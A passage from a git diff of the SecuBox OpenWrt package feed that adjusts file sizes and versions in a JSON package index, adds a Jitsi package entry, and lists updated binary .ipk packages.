"secubox-app-auth-logger_1.2.2-r1_all.ipk", - "size": 9380, + "size": 9374, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -594,7 +606,7 @@ "name": "secubox-app-crowdsec-custom", "version": "1.1.0-r1", "filename": "secubox-app-crowdsec-custom_1.1.0-r1_all.ipk", - "size": 5764, + "size": 5759, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -606,7 +618,7 @@ "name": "secubox-app-cs-firewall-bouncer", "version": "0.0.31-r4_aarch64", "filename": "secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk", - "size": 5049324, + "size": 5049323, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -618,7 +630,7 @@ "name": "secubox-app-cyberfeed", "version": "0.2.1-r1", "filename": "secubox-app-cyberfeed_0.2.1-r1_all.ipk", - "size": 12451, + "size": 12449, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -630,7 +642,7 @@ "name": "secubox-app-domoticz", "version": "1.0.0-r2", "filename": "secubox-app-domoticz_1.0.0-r2_all.ipk", - "size": 2552, + "size": 2546, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -642,7 +654,7 @@ "name": "secubox-app-exposure", "version": "1.0.0-r1", "filename": "secubox-app-exposure_1.0.0-r1_all.ipk", - "size": 6828, + "size": 6832, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -654,7 +666,7 @@ "name": "secubox-app-gitea", "version": "1.0.0-r5", "filename": "secubox-app-gitea_1.0.0-r5_all.ipk", - "size": 9406, + "size": 9405, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -666,7 +678,7 @@ "name": "secubox-app-glances", "version": "1.0.0-r1", "filename": "secubox-app-glances_1.0.0-r1_all.ipk", - "size": 5535, + "size": 5531, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -678,7 +690,7 @@ "name": "secubox-app-haproxy", "version": "1.0.0-r23", "filename": "secubox-app-haproxy_1.0.0-r23_all.ipk", - "size": 15683, + "size": 15674, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -690,19 +702,31 @@ "name": "secubox-app-hexojs", "version": "1.0.0-r8", "filename": "secubox-app-hexojs_1.0.0-r8_all.ipk", - "size": 94937, + "size": 94931, "category": "secubox", "icon": "package", "description": "SecuBox backend service", "installed": false, "luci_app": "luci-app-hexojs" } +, + { + "name": "secubox-app-jitsi", + "version": "1.0.0-r1", + "filename": "secubox-app-jitsi_1.0.0-r1_all.ipk", + "size": 8908, + "category": "secubox", + "icon": "package", + "description": "SecuBox backend service", + "installed": false, + "luci_app": "luci-app-jitsi" + } , { "name": "secubox-app-localai", "version": "2.25.0-r1", "filename": "secubox-app-localai_2.25.0-r1_all.ipk", - "size": 5712, + "size": 5714, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -714,7 +738,7 @@ "name": "secubox-app-localai-wb", "version": "2.25.0-r1", "filename": "secubox-app-localai-wb_2.25.0-r1_all.ipk", - "size": 7954, + "size": 7942, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -726,7 +750,7 @@ "name": "secubox-app-lyrion", "version": "2.0.2-r1", "filename": "secubox-app-lyrion_2.0.2-r1_all.ipk", - "size": 7284, + "size": 7275, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -738,7 +762,7 @@ "name": "secubox-app-magicmirror2", "version": "0.4.0-r8", "filename": "secubox-app-magicmirror2_0.4.0-r8_all.ipk", - "size": 9250, + "size": 9247, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -750,7 +774,7 @@ "name": "secubox-app-mailinabox", "version": "2.0.0-r1", "filename": "secubox-app-mailinabox_2.0.0-r1_all.ipk", - "size": 7570, + "size": 7571, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -762,7 +786,7 @@ "name": "secubox-app-metabolizer", "version": "1.0.0-r3", "filename": "secubox-app-metabolizer_1.0.0-r3_all.ipk", - "size": 13979, + "size": 13980, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -774,7 +798,7 @@ "name": "secubox-app-mitmproxy", "version": "0.4.0-r16", "filename": "secubox-app-mitmproxy_0.4.0-r16_all.ipk", - "size": 10213, + "size": 10208, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -786,7 +810,7 @@ "name": "secubox-app-mmpm", "version": "0.2.0-r5", "filename": "secubox-app-mmpm_0.2.0-r5_all.ipk", - "size": 3976, + "size": 3977, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -798,7 +822,7 @@ "name": "secubox-app-nextcloud", "version": "1.0.0-r2", "filename": "secubox-app-nextcloud_1.0.0-r2_all.ipk", - "size": 2960, + "size": 2956, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -810,7 +834,7 @@ "name": "secubox-app-ollama", "version": "0.1.0-r1", "filename": "secubox-app-ollama_0.1.0-r1_all.ipk", - "size": 5742, + "size": 5734, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -822,7 +846,7 @@ "name": "secubox-app-picobrew", "version": "1.0.0-r7", "filename": "secubox-app-picobrew_1.0.0-r7_all.ipk", - "size": 5539, + "size": 5541, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -834,7 +858,7 @@ "name": "secubox-app-streamlit", "version": "1.0.0-r5", "filename": "secubox-app-streamlit_1.0.0-r5_all.ipk", - "size": 11719, + "size": 11718, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -880,9 +904,9 @@ , { "name": "secubox-core", - "version": "0.10.0-r9", - "filename": "secubox-core_0.10.0-r9_all.ipk", - "size": 80068, + "version": "0.10.0-r11", + "filename": "secubox-core_0.10.0-r11_all.ipk", + "size": 87807, "category": "system", "icon": "box", "description": "SecuBox core components", @@ -894,7 +918,7 @@ "name": "secubox-p2p", "version": "0.6.0-r1", "filename": "secubox-p2p_0.6.0-r1_all.ipk", - "size": 40190, + "size": 40189, "category": "utility", "icon": "package", "description": "SecuBox package", diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk index bdb493cb..c93f187d 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-auth-guardian_0.4.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk index b4305bdd..ff84a837 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-bandwidth-manager_0.5.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk index c6726ddf..48e5676f 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cdn-cache_0.5.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk index 8918c43f..25008b46 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-client-guardian_0.4.0-r7_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk index 5422c0a4..01fc7802 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk index 12f268e1..7cae6210 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-cyberfeed_0.1.1-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk index 15b1b872..7495a7a2 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-exposure_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk index 7a4b2643..3a424c37 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-gitea_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk index 0920b2e4..73181ec7 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-glances_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk index e96e5b2e..4af985c3 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-haproxy_1.0.0-r8_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk index 6031330a..d99a267d 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-hexojs_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk index 71d19461..a39c3b33 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ksm-manager_0.4.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk index 44d6093d..846b2db8 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-localai_0.1.0-r15_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk index b139b334..3a9789b9 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-lyrion_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk index 34be727a..01d8b92c 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-magicmirror2_0.4.0-r6_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk index 4ae655f6..6abcf749 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mailinabox_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk index 35fb85fa..cf7030c4 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-media-flow_0.6.4-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk index 4933ff22..d6824d47 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metablogizer_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk index 9e9231be..67aa4643 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-metabolizer_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk index a3297fe5..55ee4ea6 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.4.0-r6_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk new file mode 100644 index 00000000..e9b767b9 Binary files /dev/null and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mitmproxy_0.5.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk index 3c2565ac..00bba978 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mmpm_0.2.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk index 0ebafc08..89353e75 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-mqtt-bridge_0.4.0-r4_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk index bbe33b78..00e7fbc3 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ndpid_1.1.2-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk index 8109cfde..4743400f 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-netdata-dashboard_0.5.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk index 8ba5ea1b..64a7788b 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-modes_0.5.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk index dd3b006e..ae70a4ee 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-network-tweaks_1.0.0-r7_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk index b93ba4d6..b6c33130 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-nextcloud_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk index 6163555b..657c1607 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-ollama_0.1.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk index 58a15d45..0183fe1c 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-picobrew_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk index 7bd72b2e..3b599d98 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-admin_1.0.0-r19_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk index 20e8e2de..cd14bf8a 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-crowdsec_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk index c733e293..93b5f2e3 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netdiag_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk index 50cda811..a7f743ac 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-netifyd_1.2.1-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk index d672c6e1..e8291ca6 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-p2p_0.1.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk index d02477c1..c8a70538 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-portal_0.7.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk index 2e73c8b6..7a989b27 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox-security-threats_1.0.0-r4_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk index 4cf6685f..1eb9c2b6 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-secubox_0.7.1-r4_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk index 9b897e86..2642a56c 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-service-registry_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk index 6e9a1b2d..81b330ae 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-streamlit_1.0.0-r9_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk index 805efdab..fb9fcb08 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-system-hub_0.5.1-r4_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk index 5d9cc621..4d4c5f0d 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-tor-shield_1.0.0-r10_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk index cac94712..f9fceb45 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-traffic-shaper_0.4.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk index 8b21e0b7..c5d2c909 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-vhost-manager_0.5.0-r5_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk index 8be99617..54360464 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-wireguard-dashboard_0.7.0-r5_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk index 1e353c06..7e77973e 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-app-zigbee2mqtt_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk index 76be6049..fb0c148a 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/luci-theme-secubox_0.4.7-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk index 16cc00fa..60d5a587 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-adguardhome_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk index 433dc96d..17ced10c 100644 Binary files 